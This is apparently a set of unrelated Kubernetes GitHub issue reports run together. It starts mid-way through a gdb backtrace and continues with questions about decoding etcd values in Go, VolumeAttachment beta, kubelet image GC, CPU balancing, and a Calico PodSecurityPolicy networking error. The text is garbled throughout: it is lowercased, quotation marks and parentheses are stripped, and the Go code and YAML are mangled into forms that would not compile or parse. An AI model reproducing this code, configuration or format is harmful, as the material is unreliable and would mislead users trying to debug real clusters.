runtime.findrunnable  gp 10=0xc42001f300, inherittime=false  at /usr/local/go/src/runtime/proc.go:2102\r  5  0x00000000004350dc in runtime.schedule    at /usr/local/go/src/runtime/proc.go:2222\r  6  0x00000000004353db in runtime.park_m  gp=0xc420753860  at /usr/local/go/src/runtime/proc.go:2285\r  7  0x000000000045a5ab in runtime.mcall    at /usr/local/go/src/runtime/asm_amd64.s:269\r  8  0x0000000009334900 in runtime.g0   \r  9  0x00007ffcbd4d4eb0 in ??   \r  10 0x00000000093348c0 in runtime.work   \r  11 0x00007ffcbd4d4ea0 in ??   \r  12 0x00000000004326d4 in runtime.mstart    at /usr/local/go/src/runtime/proc.go:1149\r  13 0x000000000045a419 in runtime.rt0_go    at /usr/local/go/src/runtime/asm_amd64.s:169\r  14 0x000000000000000c in ??   \r  15 0x00007ffcbd4d4fb8 in ??   \r  16 0x000000000000000c in ??   \r  17 0x00007ffcbd4d4fb8 in ??   \r  18 0x0000000000000000 in ??   \r  gdb  t2\r undefined command: \ t2\ .  try \ help\ .\r  gdb  bt\r  0  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r  1  0x000000000042b8e2 in runtime.futexsleep  addr=0x9335150 <runtime.m0+272>, val=0, ns=-1  at /usr/local/go/src/runtime/os_linux.go:45\r  2  0x000000000041148b in runtime.notesleep  n=0x9335150 <runtime.m0+272>  at /usr/local/go/src/runtime/lock_futex.go:145\r  3  0x000000000043372d in runtime.stopm    at /usr/local/go/src/runtime/proc.go:1650\r  4  0x0000000000434544 in runtime.findrunnable  gp 10=0xc42001f300, inherittime=false  at /usr/local/go/src/runtime/proc.go:2102\r  5  0x00000000004350dc in runtime.schedule    at /usr/local/go/src/runtime/proc.go:2222\r  6  0x00000000004353db in runtime.park_m  gp=0xc420753860  at /usr/local/go/src/runtime/proc.go:2285\r  7  0x000000000045a5ab in runtime.mcall    at /usr/local/go/src/runtime/asm_amd64.s:269\r  8  0x0000000009334900 in runtime.g0   \r  9  0x00007ffcbd4d4eb0 in ??   \r  10 0x00000000093348c0 in runtime.work   \r  11 0x00007ffcbd4d4ea0 in ??   \r  12 0x00000000004326d4 in runtime.mstart    at /usr/local/go/src/runtime/proc.go:1149\r  13 0x000000000045a419 in runtime.rt0_go    at /usr/local/go/src/runtime/asm_amd64.s:169\r  14 0x000000000000000c in ??   \r  15 0x00007ffcbd4d4fb8 in ??   \r  16 0x000000000000000c in ??   \r  17 0x00007ffcbd4d4fb8 in ??   \r  18 0x0000000000000000 in ??   \r  gdb  t 3\r  switching to thread 3  thread 0x7f515ebe9700  lwp 7129   \r  0  0x00000000004127f0 in runtime.mallocgc  size=32, typ=0x0, needzero=false, ~r3=0xc494180128  at /usr/local/go/src/runtime/malloc.go:712\r 712\t/usr/local/go/src/runtime/malloc.go: no such file or directory.\r  gdb  bt\r  0  0x00000000004127f0 in runtime.mallocgc  size=32, typ=0x0, needzero=false, ~r3=0xc494180128  at /usr/local/go/src/runtime/malloc.go:712\r  1  0x0000000000448835 in runtime.rawstring  size=17, s=..., b=...  at /usr/local/go/src/runtime/string.go:237\r  2  0x0000000000448208 in runtime.rawstringtmp  buf=0x0, l=17, s=..., b=...  at /usr/local/go/src/runtime/string.go:107\r  3  0x0000000000447d19 in runtime.concatstrings  buf=0x0, a=..., ~r2=...  at /usr/local/go/src/runtime/string.go:46\r  4  0x0000000000447f97 in runtime.concatstring3  buf=0x0, a=..., ~r2=...  at /usr/local/go/src/runtime/string.go:59\r  5  0x00000000005cba7b in net.joinhostport  host=..., port=..., ~r2=...  at /usr/local/go/src/net/ipsock.go:191\r  6  0x00000000008a775d in k8s.io/kubernetes/vendor/golang.org/x/net/http2.authorityaddr  scheme=..., authority=..., addr=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:322\r  7  0x00000000008a79b1 in k8s.io/kubernetes/vendor/golang.org/x/net/http2.  transport .roundtripopt  t=0xc420ea77c0, req=0xc5762c4300, opt=..., ~r2=0xffffffffffffffff,\r     ~r3=...  at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:331\r  8  0x00000000008a75a0 in k8s.io/kubernetes/vendor/golang.org/x/net/http2.  transport .roundtrip  t=0xc420ea77c0, req=0xc5762c4300,\r     ~r1=0x81d5f34 <runtime.pclntab+19757044>, ~r2=...  at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:301\r  9  0x000000000088bfe9 in k8s.io/kubernetes/vendor/golang.org/x/net/http2.nodialh2roundtripper.roundtrip  rt=..., req=0xc5762c4300, ~r1=0xc534d81080, ~r2=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/configure_transport.go:75\r  10 0x0000000000751679 in net/http.  transport .roundtrip  t=0xc42022f680, req=0xc5762c4300, ~r1=0xa, ~r2=...  at /usr/local/go/src/net/http/transport.go:349\r  11 0x0000000000eb588c in k8s.io/kubernetes/vendor/k8s.io/client-go/transport.  useragentroundtripper .roundtrip  rt=0xc420ef5ee0, req=0xc5762c4300, ~r1=0xc420ef5ee0,\r     ~r2=...  at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/transport/round_trippers.go:162\r  12 0x00000000006fb8c2 in net/http.send  ireq=0xc5762c4200, rt=..., deadline=..., resp=0x0, didtimeout={void  bool   } 0xc420e1cc88, err=... \r     at /usr/local/go/src/net/http/client.go:249\r  13 0x00000000006fb548 in net/http.  client .send  c=0xc420ef7650, req=0xc5762c4200, deadline=..., resp=0xc4325632f8, didtimeout={void  bool   } 0xc420e1cd00, err=... \r     at /usr/local/go/src/net/http/client.go:173\r  14 0x00000000006fcbe4 in net/http.  client .do  c=0xc420ef7650, req=0xc5762c4200, ~r1=0x0, ~r2=...  at /usr/local/go/src/net/http/client.go:595\r  15 0x0000000000ec1ded in k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .request  r=0xc50320db00, fn=\r     {void  struct net/http.request  , struct net/http.response   } 0xc420e1cf48, ~r1=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:821\r  16 0x0000000000ec26d0 in k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .do  r=0xc50320db00, ~r0=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:895\r  17 0x0000000001e4e721 in k8s.io/kubernetes/pkg/client/clientset_generated/clientset/typed/core/v1.  endpoints .get  c=0xc58070d3c0, name=..., options=...,\r     result=0x19ca0a9b, err=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/clientset_generated/clientset/typed/core/v1/endpoints.go:116\r  18 0x0000000001e8fa93 in k8s.io/kubernetes/pkg/client/leaderelection/resourcelock.  endpointslock .get  el=0xc420f4fd40, ~r0=0xc4203b1180, ~r1=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/resourcelock/endpointslock.go:42\r  19 0x0000000002fbf716 in k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .tryacquireorrenew  le=0xc420103d40, ~r0=true \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:226\r  20 0x0000000002fc058a in k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .renew.func1.1  ~r0=160, ~r1=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:199\r  21 0x000000000050e3f0 in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor  wait={void  <-chan struct {}, <-chan struct {}   } 0xc420e1d410, fn=\r     {void  bool  , error   } 0xc420e1d418, done=0xc534d803c0, ~r3=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:275\r  22 0x000000000050e099 in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollinternal  wait={void  <-chan struct {}, <-chan struct {}   } 0xc420e1d450,\r     condition={void  bool  , error   } 0xc420e1d458, ~r2=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:191\r  23 0x000000000050dfcd in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.poll  interval=2000000000, timeout=10000000000, condition=\r     {void  bool  , error   } 0xc420e1d490, ~r3=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:185\r ---type <return> to continue, or q <return> to quit---\r  24 0x0000000002fc063b in k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .renew.func1   \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:200\r  25 0x000000000050e61e in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  f={void  void } 0xc420e1d578 \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r  26 0x000000000050dc0d in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil  f={void  void } 0xc420e1d648, period=0, jitterfactor=0, sliding=true,\r     stopch=0xc420015f20  at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r  27 0x000000000050dadd in k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until  f={void  void } 0xc420e1d680, period=0, stopch=0xc420015f20 \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r  28 0x0000000002fbf5db in k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .renew  le=0xc420103d40 \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:210\r  29 0x0000000002fbf2f5 in k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run  le=0xc420103d40 \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:151\r  30 0x0000000002fbf38a in k8s.io/kubernetes/pkg/client/leaderelection.runordie  lec=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:162\r  31 0x0000000003675c39 in k8s.io/kubernetes/cmd/kube-controller-manager/app.run  s=0xc420091500, ~r1=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:222\r  32 0x0000000003d0ee5a in main.newkubecontrollermanager.func1  args=..., ~r2=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/kube-controller-manager.go:35\r  33 0x0000000003d0c09c in main.  hyperkube .run  hk=0xc420604780, args=..., ~r1=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:177\r  34 0x0000000003d0c649 in main.  hyperkube .runtoexit  hk=0xc420604780, args=... \r     at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:187\r  35 0x0000000003d0e177 in main.main    at /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/hyperkube/main.go:47\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure, but i can \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r i  want to get kubernetes  data in etcd v3 via etcd clientv3 , but however, the value of the key is unreadable ,like this \r \r    \r key:\ /registry/pods/default/tserver-79f7f9fbd6-hw4pb\  create_revision:2712131 mod_revision:2712145 version:4 value:\ k8s\\000\ \\t\ \\002v1\\022\\003pod\\022\\361\\014\ \\211\\004\ \\030tserver-79f7f9fbd6-hw4pb\\022\\023tserver-79f7f9fbd6-\\032\\007default\\\ \\000 $7238544b-ca7e-11e7-8e50-5820b101504c2\\0008\\000b\\010\\010\\300\\214\\264\\320\\005\\020\\000z\\016\ \\003app\\022\\007tserverz\\037\ \\021pod-template-hash\\022\ 3593959682b\\205\\002\ \\030kubernetes.io/created-by\\022\\350\\001{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ tserver-79f7f9fbd6\\\ ,\\\ uid\\\ :\\\ 722d7d9d-ca7e-11e7-8e50-5820b101504c\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 2712127\\\ }}\ j^\ \ replicaset\\032\\022tserver-79f7f9fbd6\\\ $722d7d9d-ca7e-11e7-8e50-5820b101504c \\022extensions/v1beta10\\0018\\001z\\000\\022\\335\\004\ $\ \\013test-volume\\022\\025\ \\023\ \\017/data/hostpath/\\022\\000\ 1\ \\023default-token-cq7gh\\022\\0322\\030\ \\023default-token-cq7gh\\030\\244\\003\\022\\220\\002\ \\007tserver\\022pregistry.cn-shanghai.aliyuncs.com/xxtest/linlintest_server:20171108_1011_582 \\0002\\016\ \\000\\020\\000\\030\\204n\\\ \\003tcp \\000b\\000j!\ \\013test-volume\\020\\000\\032\\016/data/myvolume\\\ \\000jh\ \\023default-token-cq7gh\\020\\001\\032-/var/run/secrets/kubernetes.io/serviceaccount\\\ \\000j\\024/dev/termination-logr\\014ifnotpresent\\200\\001\\000\\210\\001\\000\\220\\001\\000\\242\\001\\004file\\032\\006always \\0362\\014clusterfirstb\\007defaultj\\007defaultr\\017centos-minion-2x\\000 \\000h\\000r\\000z\\020\ \\016linlinregistry\\202\\001\\000\\212\\001\\000\\232\\001\\021default-scheduler\\262\\001;\ !node.alpha.kubernetes.io/notready\\022\\006exists\\032\\000\\\ \\tnoexecute \\254\\002\\262\\001>\ $node.alpha.kubernetes.io/unreachable\\022\\006exists\\032\\000\\\ \\tnoexecute \\254\\002\\302\\001\\000\\032\\202\\004\ \\007running\\022 \ \\013initialized\\022\\004true\\032\\000\\\ \\010\\010\\315\\214\\264\\320\\005\\020\\000 \\0002\\000\\022\\035\ \\005ready\\022\\004true\\032\\000\\\ \\010\\010\\317\\214\\264\\320\\005\\020\\000 \\0002\\000\\022$\ \\014podscheduled\\022\\004true\\032\\000\\\ \\010\\010\\300\\214\\264\\320\\005\\020\\000 \\0002\\000\\032\\000\\\ \\000 \\017192.168.200.1472\ 10.50.2.22:\\010\\010\\315\\214\\264\\320\\005\\020\\000b\\325\\002\ \\007tserver\\022\\014\\022\ \ \\010\\010\\316\\214\\264\\320\\005\\020\\000\\032\\000 \\001 \\0002pregistry.cn-shanghai.aliyuncs.com/boyaa-test/linlintest_server:20171108_1011_582:\\230\\001docker-pullable://registry.cn-shanghai.aliyuncs.com/boyaa-test/linlintest_server@sha256:ddca47c2019bd664d9851cd0230251598f4f07d5189d57ad1c77eec2ff07da09bidocker://6aa5baa96a48617cdd47230f08c9754ef035897d44354c2b3606842630eb660cj\ besteffort\\032\\000\\\ \\000\ \r    \r \r \r and  i notice that the value  been serialized \r so i try to import k8s runtime api to decode the value , but an error occured\r \r     no kind \ pod\  is registered for version \ v1\ \r \r \r \r \r here are my code:\r \r btw:  tserver is my k8s service created by yaml file\r    \r package main\r import  \r \t\ context\ \r \t\ fmt\ \r \t\ github.com/coreos/etcd/clientv3\ \r \t\ k8s.io/apimachinery/pkg/runtime\ \r \t\ k8s.io/apimachinery/pkg/runtime/serializer\ \r \t\ os\ \r \t\r  \r \r func main   {\r \r //other code\r \r resp, err := cli.get ctx, \ /registry/pods/default/tserver\ , clientv3.withprefix  , clientv3.withsort clientv3.sortbykey, clientv3.sortdescend  \r \r var scheme = runtime.newscheme  \r var codecs = serializer.newcodecfactory scheme \r decoder := codecs.universaldeserializer  \r \r \tfor _, kv := range resp.kvs {\r \r \t\tobj, gvk, err := decoder.decode kv.value, nil, nil \r \t\tif err != nil {\r \r \t\t\tfmt.fprintf os.stderr, \ warn: unable to decode key  %s : %v\ \ , kv.key, err \r \t\t\tfmt.println gvk \r \t\t\tcontinue\r \t\t}\r \r \t\tfmt.println gvk \r \r \t}\r \r }\r    \r \r but when  i run this code , it make some error\r \r    \r  root@vm-201-26 etcd   /usr/bin/go run k8setcdget.go \r warn: unable to decode key  /registry/pods/default/tserver-79f7f9fbd6-hw4pb : no kind \ pod\  is registered for version \ v1\ \r    \r \r \r if there any solution ? i just what string/readable  pod/service data from etcd v3 \r \r thanks alot \r \r \r   environment  : centos  7.2.x\r - kubernetes version  use  kubectl version  : v1.8.0\r go version:  go1.9.1 linux/amd64\r @k8s-mirror-api-machinery-api-reviews

\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r now, volumeattachment api is v1alpha1.\r \r   what you expected to happen  :\r move volumeattachment api to beta,   co-exist with alpha version. necessary for testing.\r \r  \r /assign\r

it looks like the existing watch conformance test only tests configmaps.\r \r we should generalize it. given a list of valid objects of different kinds, we should be able to run the existing test  which tweak labels  generically.\r \r 

hello,\r \r i’m tracking down a issue that the image gc of the kubelet not working, and found that the imagegcmanager could only get the virtual size of the image from docker. this means that, the actual freed space could much less than the one we want. because the shared space is not freed but we calc the freed size of the space according to the virtual one. it this a defect?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r my worker nodes went to 100% cpu and the kubernetes master showed 12%. this causes issues with load balancing between nodes\r \r   what you expected to happen  :\r i expect the kubernetes cluster to report back cpu so things will balance evenly \r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubeadm run pods and look at the balancing \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r kubectl version \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm version\r  root@ord-kube-master-01 nginx   kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r os\r rhel 7.5\r \r kernel \r 3.10.0-862.9.1.el7.x86_64  1 smp wed jun 27 04:30:39 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r

  \r   what happened  :\r i have a similar issue to  calico rbac missing permissions  2063  https://github.com/projectcalico/calico/issues/2063 , but using standard kubeadm installation and calico installation. the problem shows up in v1.11.1 but is not there in v1.9.3.\r \r when i enable podsecuritypolicy on the cluster, pods i create remain in containercreating. i was able to fix this problem by changing the calico-node clusterrole and adding\r    - apigroups:\r   - extensions\r   resourcenames:\r   - privileged\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r    \r where  privileged  is the same authority as kubelet, so basically everything. problem fixed - i can launch pods as the kuberenetes-admin user.\r \r problem is when i try to launch the same pod as a restricted user in a different namespace i get the following error:\r    \r $ kubectl -n development describe pod security-context-demo\r ....\r   normal   scheduled               24m                 default-scheduler  successfully assigned development/security-context-demo to node2\r   warning  failedcreatepodsandbox  24m                 kubelet, node2     failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 468d8e7015a3a16a96af96f89dd0b8362628b3057721ef096a21fbfcf0aad702\  network for pod \ security-context-demo\ : networkplugin cni failed to set up pod \ security-context-demo_development\  network: connection is unauthorized\r    \r the problem is not the namespace, but the user, because as kubernetes-admin i can launch the same pod in the same namespace.  this is the kubelet output:\r    \r sep 16 04:40:16 node2 kubelet 11207 : 2018-09-16 04:40:16.575  info  4949  utils.go 379: configured environment:  cni_command=del cni_containerid=b06775626f67db2ec93a781e2af39224074e88c56ae19f58ebd674bfbe0b5769 cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=development;k8s_pod_name=security-context-demo;k8s_pod_infra_container_id=b06775626f67db2ec93a781e2af39224074e88c56ae19f58ebd674bfbe0b5769 cni_ifname=eth0 cni_path=/opt/cni/bin path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf kubelet_config_args=--config=/var/lib/kubelet/config.yaml kubelet_kubeadm_args=--cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cn  kubelet_extra_args=--read-only-port=10255 datastore_type=kubernetes kubeconfig=/etc/cni/net.d/calico-kubeconfig \r sep 16 04:40:16 node2 kubelet 11207 : 2018-09-16 04:40:16.898  info  5021  calico.go 76: loaded cni netconf netconfg=types.netconf{cniversion:\ 0.3.0\ , name:\ k8s-pod-network\ , type:\ calico\ , ipam:struct { name string; type string \ json:\\\ type\\\ \ ; subnet string \ json:\\\ subnet\\\ \ ; assignipv4  string \ json:\\\ assign_ipv4\\\ \ ; assignipv6  string \ json:\\\ assign_ipv6\\\ \ ; ipv4pools   string \ json:\\\ ipv4_pools,omitempty\\\ \ ; ipv6pools   string \ json:\\\ ipv6_pools,omitempty\\\ \  }{name:\ \ , type:\ host-local\ , subnet:\ usepodcidr\ , assignipv4:  string  nil , assignipv6:  string  nil , ipv4pools:  string nil , ipv6pools:  string nil }, args:types.args{mesos:types.mesos{networkinfo:types.networkinfo{name:\ \ , labels:struct { labels   struct { key string \ json:\\\ key\\\ \ ; value string \ json:\\\ value\\\ \  } \ json:\\\ labels,omitempty\\\ \  }{labels:  struct { key string \ json:\\\ key\\\ \ ; value string \ json:\\\ value\\\ \  } nil }}}}, mtu:1500, nodename:\ node2\ , nodenamefileoptional:false, datastoretype:\ kubernetes\ , etcdendpoints:\ \ , loglevel:\ info\ , policy:types.policy{policytype:\ k8s\ , k8sapiroot:\ \ , k8sauthtoken:\ \ , k8sclientcertificate:\ \ , k8sclientkey:\ \ , k8scertificateauthority:\ \ }, kubernetes:types.kubernetes{k8sapiroot:\ \ , kubeconfig:\ /etc/cni/net.d/calico-kubeconfig\ , nodename:\ \ }, etcdscheme:\ \ , etcdkeyfile:\ \ , etcdcertfile:\ \ , etcdcacertfile:\ \ , containersettings:types.containersettings{allowipforwarding:false}, etcdauthority:\ \ , hostname:\ \ }\r sep 16 04:40:16 node2 kubelet 11207 : 2018-09-16 04:40:16.898  info  5021  utils.go 379: configured environment:  cni_command=add cni_containerid=937c3730859e0f64b6dfd60225bf42240763a97ad0348b6053c79dc922763552 cni_netns=/proc/4979/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=development;k8s_pod_name=security-context-demo;k8s_pod_infra_container_id=937c3730859e0f64b6dfd60225bf42240763a97ad0348b6053c79dc922763552 cni_ifname=eth0 cni_path=/opt/cni/bin path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf kubelet_config_args=--config=/var/lib/kubelet/config.yaml kubelet_kubeadm_args=--cgroup-driver=cgroupfs --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni kubelet_extra_args=--read-only-port=10255 datastore_type=kubernetes kubeconfig=/etc/cni/net.d/calico-kubeconfig \r sep 16 04:40:17 node2 kubelet 11207 : e0916 04:40:17.018410   11207 cni.go:260  error adding network: connection is unauthorized\r sep 16 04:40:17 node2 kubelet 11207 : e0916 04:40:17.018434   11207 cni.go:228  error while adding to cni network: connection is unauthorized\r    \r    current behavior\r here is the failed pod status:\r    \r $ kubectl -n development get pod security-context-demo -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     container.apparmor.security.beta.kubernetes.io/sec-ctx-demo: runtime/default\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ pod\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ security-context-demo\ ,\ namespace\ :\ development\ },\ spec\ :{\ containers\ : {\ image\ :\ gcr.io/google-samples/node-hello:1.0\ ,\ name\ :\ sec-ctx-demo\ ,\ securitycontext\ :{\ allowprivilegeescalation\ :false},\ volumemounts\ : {\ mountpath\ :\ /data/demo\ ,\ name\ :\ sec-ctx-vol\ } } ,\ securitycontext\ :{\ fsgroup\ :2000,\ runasuser\ :1000},\ volumes\ : {\ emptydir\ :{},\ name\ :\ sec-ctx-vol\ } }}\r     kubernetes.io/psp: restricted\r     seccomp.security.alpha.kubernetes.io/pod: docker/default\r   creationtimestamp: 2018-09-16t04:32:15z\r   name: security-context-demo\r   namespace: development\r   resourceversion: \ 284776\ \r   selflink: /api/v1/namespaces/development/pods/security-context-demo\r   uid: 7cbca6bd-b969-11e8-8d61-02f13ec36f84\r spec:\r   containers:\r   - image: gcr.io/google-samples/node-hello:1.0\r     imagepullpolicy: ifnotpresent\r     name: sec-ctx-demo\r     resources: {}\r     securitycontext:\r       allowprivilegeescalation: false\r       capabilities:\r         drop:\r         - all\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /data/demo\r       name: sec-ctx-vol\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-l6qtk\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: node2\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext:\r     fsgroup: 2000\r     runasuser: 1000\r     supplementalgroups:\r     - 1\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - emptydir: {}\r     name: sec-ctx-vol\r   - name: default-token-l6qtk\r     secret:\r       defaultmode: 420\r       secretname: default-token-l6qtk\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:32:15z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:32:15z\r     message: 'containers with unready status:  sec-ctx-demo '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: null\r     message: 'containers with unready status:  sec-ctx-demo '\r     reason: containersnotready\r     status: \ false\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: 2018-09-16t04:32:15z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - image: gcr.io/google-samples/node-hello:1.0\r     imageid: \ \ \r     laststate: {}\r     name: sec-ctx-demo\r     ready: false\r     restartcount: 0\r     state:\r       waiting:\r         reason: containercreating\r   hostip: 172.16.1.248\r   phase: pending\r   qosclass: besteffort\r   starttime: 2018-09-16t04:32:15z\r    \r \r pod definition used is from k8s documentation  here  https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ set-the-security-context-for-a-pod .\r \r    expected behavior\r here is the same pod, same namespace, but launched by kubernetes-admin:\r    \r $ kubectl -n development get pod security-context-demo-by-admin -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     cni.projectcalico.org/podip: 192.168.1.181/32\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ kind\ :\ pod\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ security-context-demo-by-admin\ ,\ namespace\ :\ development\ },\ spec\ :{\ containers\ : {\ image\ :\ gcr.io/google-samples/node-hello:1.0\ ,\ name\ :\ sec-ctx-demo\ ,\ securitycontext\ :{\ allowprivilegeescalation\ :false},\ volumemounts\ : {\ mountpath\ :\ /data/demo\ ,\ name\ :\ sec-ctx-vol\ } } ,\ securitycontext\ :{\ fsgroup\ :2000,\ 